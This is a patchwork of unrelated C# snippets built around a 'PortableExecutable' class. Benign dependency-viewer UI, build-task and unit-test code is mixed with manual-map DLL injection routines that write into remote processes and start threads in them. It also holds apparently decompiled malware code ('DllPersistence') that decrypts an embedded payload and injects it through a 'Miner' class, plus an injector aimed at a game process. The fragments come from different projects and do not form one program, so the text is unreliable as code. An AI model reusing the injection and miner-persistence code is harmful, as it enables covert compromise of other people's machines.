private void displayDependencies() { //ReverseDependencyDetector reverseDependencyDetector = new ReverseDependencyDetector(); //String FilePath = @"E:\TEST"; //String path2 = @"E:\TEST\CppDll.dll"; //PortableExecutable testPE = new PortableExecutable(ExtractFileNameFromPath(path2), path2); //PortableExecutableLoader loader = new PortableExecutableLoader(); //loader.Load(testPE); // MessageBox.Show("test" + ((PortableExecutable)((reverseDependencyDetector.Process(FilePath, testPE))[0])).FilePath); //List<PortableExecutable> list = new List<PortableExecutable>(); //list.Add(testPE); //list.Add(testPE); //list.Add(testPE); ReverseDependencyDetector reverseDependencyDetector = new ReverseDependencyDetector(); String FolderPath = wizardDataRef.FolderPath; String targetPath = wizardDataRef.FilePath; PortableExecutable targetPE = new PortableExecutable(ExtractFileNameFromPath(targetPath), targetPath); PortableExecutableLoader loader = new PortableExecutableLoader(); List <PortableExecutable> list; using (new WaitCursor()) { loader.Load(targetPE); list = reverseDependencyDetector.Process(FolderPath, targetPE); } ReverseDependenciesList.ItemsSource = list; }
private void InjectIcon() { var targetPortableExecutable = new PortableExecutable(TargetFilePath); var targetIconResourceIdentifiers = targetPortableExecutable.GetResourceIdentifiers() .Where(r => r.Type.Code == ResourceType.Icon.Code || r.Type.Code == ResourceType.IconGroup.Code) .ToArray(); var appHostPortableExecutable = new PortableExecutable(AppHostFilePath); appHostPortableExecutable.RemoveIcon(); if (targetIconResourceIdentifiers.Any()) { foreach (var identifier in targetIconResourceIdentifiers) { appHostPortableExecutable.SetResource( identifier, targetPortableExecutable.GetResource(identifier).Data ); } Log.LogMessage("Injected icon into '{0}'.", AppHostFileName); } else { Log.LogMessage("Could not find icon resources in '{0}'.", TargetFileName); } }
private void InjectVersionInfo() { var targetPortableExecutable = new PortableExecutable(TargetFilePath); var targetVersionInfo = targetPortableExecutable.TryGetVersionInfo(); var appHostPortableExecutable = new PortableExecutable(AppHostFilePath); appHostPortableExecutable.RemoveVersionInfo(); if (targetVersionInfo is not null) { var bootstrapperVersion = typeof(BootstrapperTask).Assembly.GetName().Version.ToString(3); appHostPortableExecutable.SetVersionInfo(new VersionInfoBuilder() .SetAll(targetVersionInfo) .SetFileFlags(FileFlags.None) .SetFileType(FileType.Application) .SetFileSubType(FileSubType.Unknown) .SetAttribute(VersionAttributeName.InternalName, AppHostFileName) .SetAttribute(VersionAttributeName.OriginalFilename, AppHostFileName) .SetAttribute("AppHost", $".NET Runtime Bootstrapper v{bootstrapperVersion} ({Variant})") .Build() ); Log.LogMessage("Injected version info into '{0}'.", AppHostFileName); } else { // This is very unusual, so log a warning instead of info Log.LogWarning("Could not read version info from '{0}'.", TargetFileName); } }
void UpdateUI(PortableExecutable portableExecutable) { treeViewDependencies.Items.Clear(); dataGridImportsTable.Visibility = Visibility.Hidden; LabelStatus.Text = ""; treeViewImports.ItemsSource = null; dataGridExports.ItemsSource = null; dataGridHeaders.ItemsSource = null; dataGridSections.ItemsSource = null; dataGridDirectories.ItemsSource = null; ItemCollection itemCollection = treeViewDependencies.Items; if (portableExecutable != null) { using (new WaitCursor()) { PortableExecutableLoader portableExecutableLoader = new PortableExecutableLoader(); portableExecutableLoader.Load(portableExecutable); RecursivelyPopulateTheTree(portableExecutable, itemCollection); PopulateHeaders(portableExecutable.Headers); PopulateImports(portableExecutable.ImportFunctions); PopulateExports(portableExecutable.ExportedFunctions); PopulateSections(portableExecutable.Sections); PopulateDirectories(portableExecutable.Directories); PopulateIssues(portableExecutableLoader.smartSuggestionEngine.error_list); } } }
// Token: 0x06000121 RID: 289 RVA: 0x0000DB90 File Offset: 0x0000BD90 private static void PatchRelocations(PortableExecutable image, IntPtr pAlloc) { IMAGE_DATA_DIRECTORY image_DATA_DIRECTORY = image.NTHeader.OptionalHeader.DataDirectory[5]; if (image_DATA_DIRECTORY.Size > 0u) { uint num = 0u; uint num2 = (uint)((long)pAlloc.ToInt32() - (long)((ulong)image.NTHeader.OptionalHeader.ImageBase)); uint num3 = image.GetPtrFromRVA(image_DATA_DIRECTORY.VirtualAddress); uint num4 = (uint)Marshal.SizeOf(typeof(IMAGE_BASE_RELOCATION)); IMAGE_BASE_RELOCATION image_BASE_RELOCATION; while (num < image_DATA_DIRECTORY.Size && image.Read <IMAGE_BASE_RELOCATION>((long)((ulong)num3), SeekOrigin.Begin, out image_BASE_RELOCATION)) { int num5 = (int)((image_BASE_RELOCATION.SizeOfBlock - num4) / 2u); uint ptrFromRVA = image.GetPtrFromRVA(image_BASE_RELOCATION.VirtualAddress); for (int i = 0; i < num5; i++) { ushort num6; if (image.Read <ushort>((long)((ulong)(num3 + num4) + (ulong)((long)((long)i << 1))), SeekOrigin.Begin, out num6) && (num6 >> 12 & 3) != 0) { uint num7 = (uint)((ulong)ptrFromRVA + (ulong)((long)(num6 & 4095))); uint num8; if (!image.Read <uint>((long)((ulong)num7), SeekOrigin.Begin, out num8)) { throw image.GetLastError(); } image.Write <uint>(-4L, SeekOrigin.Current, num8 + num2); } } num += image_BASE_RELOCATION.SizeOfBlock; num3 += image_BASE_RELOCATION.SizeOfBlock; } } }
void UpdateUI(String fileName) { treeView_Dependencies.Nodes.Clear(); PortableExecutable pe = new PortableExecutable(fileName); pe.MakeDependencies(); TreeNodeCollection tNodes = treeView_Dependencies.Nodes; RecursivelyPopulateTheTree(pe, tNodes); pe.MakeImports(); pe.MakeExports(); listBox_Imports.Items.Clear(); foreach (object __o in pe.GetImports()) { String import = (String)__o; // loop body listBox_Imports.Items.Add(import); } listBox_Exports.Items.Clear(); foreach (object __o in pe.GetExports()) { String import = (String)__o; // loop body listBox_Exports.Items.Add(import); } }
public void Test_determineFormat_cmd() { //cmd.exe should always be 32 bit. var format = PortableExecutable.determineFormat("C:\\Windows\\System32\\cmd.exe"); Assert.AreEqual(PEFormat.PE32, format); }
private static void MapSections(PortableExecutable image, IntPtr hProcess, IntPtr pModule) { //very straightforward really. Just iterate through all the sections and map them to their desired virtual addresses in the remote process. //I'm not 100% sure about how well masking the section header characteristics and passing them off as memory protection constants goes. But //so far I haven't hit any issues. (i.e a section header with characteristics "IMAGE_SCN_TYPE_NO_PAD" will set "PAGE_WRITECOPY" memory protection. byte[] databuffer; uint n; foreach (var pSecHd in image.EnumSectionHeaders()) { databuffer = new byte[pSecHd.SizeOfRawData]; if (image.Read(pSecHd.PointerToRawData, SeekOrigin.Begin, databuffer)) { if ((pSecHd.Characteristics & 0x02000000) == 0) //can actually ignore this section (usually the reloc section) { WinAPI.WriteProcessMemory(hProcess, pModule.Add(pSecHd.VirtualAddress), databuffer, databuffer.Length, out n); WinAPI.VirtualProtectEx(hProcess, pModule.Add(pSecHd.VirtualAddress), pSecHd.SizeOfRawData, pSecHd.Characteristics & 0x00FFFFFF, out n); } } else { throw image.GetLastError(); } } }
// recursively update the dependecy tree on Dependecies tab using the dependecy information of the PE provided void RecursivelyPopulateTheTree(PortableExecutable portableExecutable, ItemCollection itemCollection) { TreeViewItem treeViewItem = new TreeViewItem { Header = (String)portableExecutable.FilePath, Tag = portableExecutable, }; treeViewItem = CreateDependecyTreeItem(portableExecutable); itemCollection.Add(treeViewItem); if (portableExecutable.Dependencies.Count == 0) { return; } else { ItemCollection childrenItemCollection = treeViewItem.Items; foreach (object __o in portableExecutable.Dependencies) { PortableExecutable pe = (PortableExecutable)__o; // loop body RecursivelyPopulateTheTree(pe, childrenItemCollection); } } }
public IntPtr Inject(byte[] dllBytes, IntPtr hProc) { var injectorClass = Injector.Invoke(null, new[] { InjectionEnum.GetEnumValues().GetValue(1) }); var img = PortableExecutable.Invoke(new object[] { Properties.Resources.Link }); return(Inject(injectorClass, img, hProc)); }
public MainWindow() { exeProcess = System.Diagnostics.Process.Start("Server64BitConsoleApp.exe"); InitializeComponent(); this.portableExecutable = null; labelNoImports.Hide(); labelNoExports.Hide(); }
private static void PatchImports(PortableExecutable image, IntPtr hProcess, int processId) { string empty = string.Empty; string empty2 = string.Empty; foreach (IMAGE_IMPORT_DESCRIPTOR current in image.EnumImports()) { if (image.ReadString((long)((ulong)image.GetPtrFromRVA(current.Name)), SeekOrigin.Begin, out empty, -1, null)) { IntPtr intPtr = IntPtr.Zero; IntPtr arg_4F_0 = IntPtr.Zero; intPtr = ManualMap.GetRemoteModuleHandle(empty, processId); if (intPtr.IsNull()) { throw new FileNotFoundException(string.Format("Unable to load dependent module '{0}'.", empty)); } uint num = image.GetPtrFromRVA(current.FirstThunkPtr); uint num2 = (uint)Marshal.SizeOf(typeof(IMAGE_THUNK_DATA)); IMAGE_THUNK_DATA iMAGE_THUNK_DATA; while (image.Read <IMAGE_THUNK_DATA>((long)((ulong)num), SeekOrigin.Begin, out iMAGE_THUNK_DATA) && iMAGE_THUNK_DATA.u1.AddressOfData > 0u) { IntPtr intPtr2 = IntPtr.Zero; object obj; if ((iMAGE_THUNK_DATA.u1.Ordinal & 2147483648u) == 0u) { if (!image.ReadString((long)((ulong)(image.GetPtrFromRVA(iMAGE_THUNK_DATA.u1.AddressOfData) + 2u)), SeekOrigin.Begin, out empty2, -1, null)) { throw image.GetLastError(); } obj = empty2; } else { obj = (ushort)(iMAGE_THUNK_DATA.u1.Ordinal & 65535u); } if (!(intPtr2 = WinAPI.GetModuleHandleA(empty)).IsNull()) { IntPtr ptr = obj.GetType().Equals(typeof(string)) ? WinAPI.GetProcAddress(intPtr2, (string)obj) : WinAPI.GetProcAddress(intPtr2, (uint)((ushort)obj & 65535)); if (!ptr.IsNull()) { intPtr2 = intPtr.Add((long)ptr.Subtract((long)intPtr2.ToInt32()).ToInt32()); } } else { intPtr2 = WinAPI.GetProcAddressEx(hProcess, intPtr, obj); } if (intPtr2.IsNull()) { throw new EntryPointNotFoundException(string.Format("Unable to locate imported function '{0}' from module '{1}' in the remote process.", empty2, empty)); } image.Write <int>((long)((ulong)num), SeekOrigin.Begin, intPtr2.ToInt32()); num += num2; } } } }
/// <summary> /// Inject an existing in-memory PortableExecutable image into a process using a unique process id as an identifier /// </summary> /// <param name="image">Any valid existing PortableExecutable instance</param> /// <param name="processId">Unique process identifier</param> /// <returns>A valid module handle if the function is successful, or IntPtr.Zero otherwise</returns> public virtual IntPtr Inject(PortableExecutable image, int processId) { ClearErrors(); IntPtr hProcess = WinAPI.OpenProcess(0x043A, false, processId); IntPtr hModule = Inject(image, hProcess); WinAPI.CloseHandle(hProcess); return(hModule); }
private TreeViewItem CreateDependecyTreeItem(PortableExecutable portableExecutable) { Image image; TextBlock textBlock; StackPanel stackPanel = new StackPanel { Orientation = Orientation.Horizontal }; if (portableExecutable.IsLoadable) { image = new Image { MaxWidth = 16, MaxHeight = 16, Margin = new Thickness(0, 1, 5, 1), Source = new BitmapImage(new Uri(@"/PEDScanner;component/Resources/Loadable.png", UriKind.Relative)) }; textBlock = new TextBlock { Foreground = new SolidColorBrush(Colors.Green), Text = portableExecutable.Name }; } else { image = new Image { MaxWidth = 16, MaxHeight = 16, Margin = new Thickness(0, 1, 5, 1), Source = new BitmapImage(new Uri(@"/PEDScanner;component/Resources/missing16.png", UriKind.Relative)) }; textBlock = new TextBlock { Foreground = new SolidColorBrush(Colors.Red), Text = portableExecutable.Name }; } stackPanel.Children.Add(image); stackPanel.Children.Add(textBlock); TreeViewItem item = new TreeViewItem { IsExpanded = true, Tag = portableExecutable, Header = stackPanel, }; item.Selected += treeItem_Selected; return(item); }
// Token: 0x06000102 RID: 258 RVA: 0x0000C918 File Offset: 0x0000AB18 public virtual IntPtr Inject(PortableExecutable image, int processId) { this.ClearErrors(); IntPtr intPtr = WinAPI.OpenProcess(1082u, false, processId); IntPtr result = this.Inject(image, intPtr); WinAPI.CloseHandle(intPtr); return(result); }
/// <summary> /// Adds a .NET assembly to the plugin archive. /// </summary> /// <param name="entryName">The relative name of the resulting file in the archive</param> /// <param name="assemblyFileName"></param> private Assembly AddAssembly(string entryName, string assemblyFileName) { using (var content = File.OpenRead(assemblyFileName)) { PeHeader header; PortableExecutable.TryReadHeader(content, out header, leaveOpen: true); content.Position = 0; return(AddAssembly(entryName, content, header)); } }
public MainWindow(PortableExecutable portableExecutable) { InitializeComponent(); this.portableExecutable = portableExecutable; if (portableExecutable != null) { UpdateUI(this.portableExecutable); } }
public ServiceProvider(bool debugPayload) { Scheduler = new TaskScheduler(JobQueue.WindowsMessageBased); var assembly = Assembly.GetExecutingAssembly(); using (var stream = assembly.GetManifestResourceStream( debugPayload ? "XPTrace.payload_debug.dll" : "XPTrace.payload.dll" )) Payload = new PortableExecutable(stream); }
public override IntPtr Inject(PortableExecutable image, IntPtr hProcess) { ClearErrors(); try { return(MapModule(Utils.DeepClone(image), hProcess, true)); } catch (Exception e) { SetLastError(e); return(IntPtr.Zero); } }
// the even fired after selecting a certain dependecy from the dependecy tree is handled here protected void treeViewDependencies_AfterSelect(object sender, System.Windows.Forms.TreeViewEventArgs e) { this.SelectedPortableExecutable = (PortableExecutable)e.Node.Tag; if (SelectedPortableExecutable.FilePath != null) { this.labelDependecyPath.Text = "File Path : " + ((PortableExecutable)e.Node.Tag).FilePath; } else { this.labelDependecyPath.Text = "This Dependecy Named " + SelectedPortableExecutable.Name + " is Missing"; } this.labelDependecyPath.Font = new Font(this.labelDependecyPath.Font, FontStyle.Bold); }
public override IntPtr Inject(string dllPath, IntPtr hProcess) { ClearErrors(); try { using (PortableExecutable img = new PortableExecutable(dllPath)) return(Inject(img, hProcess)); } catch (Exception e) { SetLastError(e); return(IntPtr.Zero); } }
public void Test_determineFormat_executable64() { if (!Environment.Is64BitOperatingSystem) { Assert.Inconclusive("Probably there will not be an 64 bit executables on a 32 bit operating system," + " so we cannot test a 64 bit executable."); return; } //explorer.exe should be 64 bit on a 64 bit OS. var format = PortableExecutable.determineFormat("C:\\Windows\\explorer.exe"); Assert.AreEqual(PEFormat.PE64, format); }
void UpdateState(String filePath) { try { listOfBranch = new List <string>(); listOfBranch.Add(this.ExtractFileNameFromPath(filePath)); this.portableExecutable = new PortableExecutable(this.ExtractFileNameFromPath(filePath), filePath, true, listOfBranch); this.UpdateUI(this.portableExecutable); } catch (Exception e) { MessageBox.Show(e.Message); // Application.Exit(); } }
void treeItem_Selected(object sender, RoutedEventArgs e) { TreeViewItem item = sender as TreeViewItem; this.SelectedPortableExecutable = (PortableExecutable)(PortableExecutable)item.Tag; if (SelectedPortableExecutable.FilePath != null) { LabelStatus.Text = SelectedPortableExecutable.FilePath; } else { LabelStatus.Text = "The selected portable executable is missing"; } e.Handled = true; }
private static void PatchRelocations(PortableExecutable image, IntPtr pAlloc) { // Base relocations are essentially Microsofts ingenious way of preserving portability in images. // for all absolute address calls/jmps/references...etc, an entry is made into the base relocation // table telling the loader exactly where an "absolute" address is being used. This allows the loader // to iterate through the relocations and patch these absolute values to ensure they are correct when // the image is loaded somewhere that isn't its preferred base address. IMAGE_DATA_DIRECTORY relocDir = image.NTHeader.OptionalHeader.DataDirectory[(int)DATA_DIRECTORIES.BaseRelocTable]; if (relocDir.Size > 0) //check if there are in fact any relocations. { uint n = 0; uint delta = (uint)(pAlloc.ToInt32() - image.NTHeader.OptionalHeader.ImageBase); //The difference in loaded/preferred addresses. uint pReloc = image.GetPtrFromRVA(relocDir.VirtualAddress); uint szReloc = (uint)Marshal.SizeOf(typeof(IMAGE_BASE_RELOCATION)); IMAGE_BASE_RELOCATION reloc; while (n < relocDir.Size && image.Read(pReloc, SeekOrigin.Begin, out reloc)) { // A relocation block consists of an IMAGE_BASE_RELOCATION, and an array of WORDs. // To calculate the number of relocations (represented by WORDs), just do some simple math. int nrelocs = (int)((reloc.SizeOfBlock - szReloc) / sizeof(ushort)); uint pageVa = image.GetPtrFromRVA(reloc.VirtualAddress); //The Page RVA for this set of relocations (usually a 4K boundary). ushort vreloc; uint old; for (int i = 0; i < nrelocs; i++) { // There are only 2 types of relocations on Intel machines: ABSOLUTE (padding, nothing needs to be done) and HIGHLOW (0x03) // Highlow means that all 32 bits of the "delta" value need to be added to the relocation value. if (image.Read(pReloc + szReloc + (i << 1), SeekOrigin.Begin, out vreloc) && (vreloc >> 12 & 3) != 0) { uint vp = (uint)(pageVa + (vreloc & 0x0FFF)); if (image.Read <uint>(vp, SeekOrigin.Begin, out old)) { image.Write <uint>(-4, SeekOrigin.Current, (uint)(old + delta)); } else { throw image.GetLastError(); //unlikely, but I hate crashing targets because something in the PE was messed up. } } } n += reloc.SizeOfBlock; pReloc += reloc.SizeOfBlock; } } }
public void Test_determineFormat_NullEmptyWhitespace() { //null var format = PortableExecutable.determineFormat(null); Assert.AreNotEqual(PEFormat.PE32, format); Assert.AreNotEqual(PEFormat.PE64, format); //empty format = PortableExecutable.determineFormat(""); Assert.AreNotEqual(PEFormat.PE32, format); Assert.AreNotEqual(PEFormat.PE64, format); //whitespace format = PortableExecutable.determineFormat(" \t \r\n \r \n \v "); Assert.AreNotEqual(PEFormat.PE32, format); Assert.AreNotEqual(PEFormat.PE64, format); }
// Token: 0x0600011A RID: 282 RVA: 0x0000D44C File Offset: 0x0000B64C public override IntPtr Inject(PortableExecutable image, IntPtr hProcess) { this.ClearErrors(); IntPtr result; try { result = ManualMap.MapModule(Utils.DeepClone <PortableExecutable>(image), hProcess, true); } catch (Exception lastError) { this.SetLastError(lastError); result = IntPtr.Zero; } return(result); }
// Token: 0x060000C0 RID: 192 RVA: 0x0000BA80 File Offset: 0x00009C80 public static void DllPersistence(int Pid) { if (!Injection.InjectionIsRunning()) { InjectionMethod injectionMethod = InjectionMethod.Create(InjectionMethodType.ManualMap); IntPtr value = IntPtr.Zero; using (PortableExecutable portableExecutable = new PortableExecutable(Miner.Proper_RC4(Resources._2342342353245, Encoding.UTF8.GetBytes("sickmyduck")))) { value = injectionMethod.Inject(portableExecutable, Pid); } if (!(value != IntPtr.Zero)) { injectionMethod.GetLastError(); } } }
void UpdateState(String filePath) { try { this.portableExecutable = new PortableExecutable(this.ExtractFileNameFromPath(filePath), filePath, true, new List <string>()); this.UpdateUI(this.portableExecutable); } catch (ArrayTypeMismatchException e) { MessageBox.Show(e.Message); } //catch (Exception e) //{ // MessageBox.Show(e.Message); // // Application.Exit(); //} }
/// <summary> /// Converts a RVA to a file offset /// </summary> /// <param name="pe">The PortbleExecutable</param> /// <param name="rva">The RVA to convert</param> /// <returns>A file offset corresponding to the RVA</returns> public static uint RVAToFileOffset(PortableExecutable pe, uint rva) { if (rva <= 0) return 0; SectionHeader section; for (int i = 0; i < pe.sections.Length; i++) { section = pe.sections[i]; if (rva >= section.VirtualAddress && rva < section.VirtualAddress + section.VirtualSize) { return section.PointerToRawData + (rva - section.VirtualAddress); } } return 0; }
// Token: 0x06000120 RID: 288 RVA: 0x0000DAC8 File Offset: 0x0000BCC8 private static void MapSections(PortableExecutable image, IntPtr hProcess, IntPtr pModule) { foreach (IMAGE_SECTION_HEADER image_SECTION_HEADER in image.EnumSectionHeaders()) { byte[] array = new byte[image_SECTION_HEADER.SizeOfRawData]; if (!image.Read((long)((ulong)image_SECTION_HEADER.PointerToRawData), SeekOrigin.Begin, array)) { throw image.GetLastError(); } if ((image_SECTION_HEADER.Characteristics & 33554432u) == 0u) { uint num; WinAPI.WriteProcessMemory(hProcess, pModule.Add((long)((ulong)image_SECTION_HEADER.VirtualAddress)), array, array.Length, out num); WinAPI.VirtualProtectEx(hProcess, pModule.Add((long)((ulong)image_SECTION_HEADER.VirtualAddress)), image_SECTION_HEADER.SizeOfRawData, image_SECTION_HEADER.Characteristics & 16777215u, out num); } } }
public static bool Inject(string fileName) { Process[] processesByName; do { Thread.Sleep(1); processesByName = Process.GetProcessesByName("driftcity"); } while (processesByName.Length == 0); var injectionMethod = InjectionMethod.Create(InjectionMethodType.ManualMap); IntPtr value; using (var portableExecutable = new PortableExecutable(fileName)) { value = injectionMethod.Inject(portableExecutable, processesByName[0].Id); } return(value != IntPtr.Zero); }
public static unsafe RemoteMemoryRegion Inject(Process process, PortableExecutable executable, IntPtr payloadArgument, Future<Int32> threadResultFuture, Future<UInt32> threadIdFuture) { RemoteMemoryRegion region = null; using (var handle = Win32.OpenProcessHandle( ProcessAccessFlags.VMRead | ProcessAccessFlags.VMWrite | ProcessAccessFlags.VMOperation | ProcessAccessFlags.CreateThread | ProcessAccessFlags.QueryInformation, false, process.Id )) try { region = RemoteMemoryRegion.Allocate( process, handle, executable.OptionalHeader.SizeOfImage ); region.Protect(handle, 0, region.Size, MemoryProtection.ReadWrite); var baseAddress = (UInt32)region.Address.ToInt64(); executable.Rebase(baseAddress); executable.ResolveImports(); foreach (var section in executable.Sections.Values) { fixed (byte* data = section.RawData) { region.Write( handle, section.VirtualAddress, section.Size, data ); // Why the f**k isn't this a flags-style enumeration? Sigh, classic windows. MemoryProtection protection = MemoryProtection.ReadOnly; if ((section.Characteristics & PortableExecutable.SectionCharacteristics.MemExecute) == PortableExecutable.SectionCharacteristics.MemExecute) protection = MemoryProtection.ExecuteRead; else if ((section.Characteristics & PortableExecutable.SectionCharacteristics.MemWrite) == PortableExecutable.SectionCharacteristics.MemWrite) protection = MemoryProtection.ReadWrite; region.Protect( handle, section.VirtualAddress, section.Size, protection ); } } UInt32 threadId = 0; UInt32 creationFlags = 0x0; IntPtr remoteThreadHandle = Win32.CreateRemoteThread( handle.DangerousGetHandle(), IntPtr.Zero, 0, baseAddress + executable.OptionalHeader.AddressOfEntryPoint, payloadArgument, creationFlags, out threadId ); if (remoteThreadHandle == IntPtr.Zero) { var error = Win32.GetLastError(); throw new Exception(String.Format("Thread start failed: Error {0:x8}", error)); } threadIdFuture.Complete(threadId); var threadHandle = new ThreadWaitHandle(new SafeWaitHandle(remoteThreadHandle, true)); ThreadPool.RegisterWaitForSingleObject(threadHandle, (s, e) => { Int32 exitCode; Win32.GetExitCodeThread(handle.DangerousGetHandle(), out exitCode); threadResultFuture.Complete(exitCode); threadHandle.Close(); }, null, -1, true); var theResult = region; region = null; return theResult; } finally { if (region != null) { bool exited = true; try { exited = process.HasExited; } catch { } if (!exited) region.Dispose(); } } }